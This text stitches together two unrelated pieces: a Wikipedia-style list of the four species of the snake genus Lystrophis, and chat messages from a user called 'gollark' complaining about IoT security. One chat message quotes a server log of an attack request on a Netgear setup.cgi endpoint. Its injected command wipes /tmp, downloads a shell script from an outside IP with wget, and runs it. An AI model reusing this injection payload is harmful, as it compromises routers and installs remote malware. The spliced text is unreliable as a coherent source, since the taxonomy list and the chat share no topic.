Species
The genus Lystrophis contains four species that are recognized as being valid.[1]
- Lystrophis dorbignyi (A.M.C. Duméril, Bibron & A.H.A. Duméril, 1854) – southern Brazil and southern Paraguay to Argentina
- Lystrophis histricus (Jan, 1863) – southern Brazil, Paraguay, and Uruguay to northeastern Argentina
- Lystrophis nattereri (Steindachner, 1867) – southern Brazil
- Lystrophis semicinctus (Duméril, Bibron & Duméril, 1854) – central Argentina to southern Bolivia and southwestern Brazil[2]
Lystrophis dorbignyi is the type species for the genus Lystrophis.[2]
Nota bene: A binomial authority in parentheses indicates that the species was originally described in a genus other than Lystrophis.
gollark: It's... not good, and something really needs to be done about it.
gollark: A few days ago my website got spammed with requests like this:```147|1597979461.0539|201.252.229.123|/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.95.168.247/Scylla.sh+-O+/tmp/Scylla.sh;sh+Scylla.sh&curpath=/¤tsetting.htm=1|GET||{"Connection":"close"}|{"Ip":"201.252.229.123","Path":"/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.95.168.247/Scylla.sh+-O+/tmp/Scylla.sh;sh+Scylla.sh&curpath=/¤tsetting.htm=1","Protocol":"HTTP/1.0"}```(yes this is a weird log format)which I think were actually made by compromised routers of some kind.
gollark: Some of the vulnerabilities I read about make me wonder if anyone had... considered security at all when designing things.
gollark: Yes, exactly.
gollark: Did you know that the S in IoT stands for security?
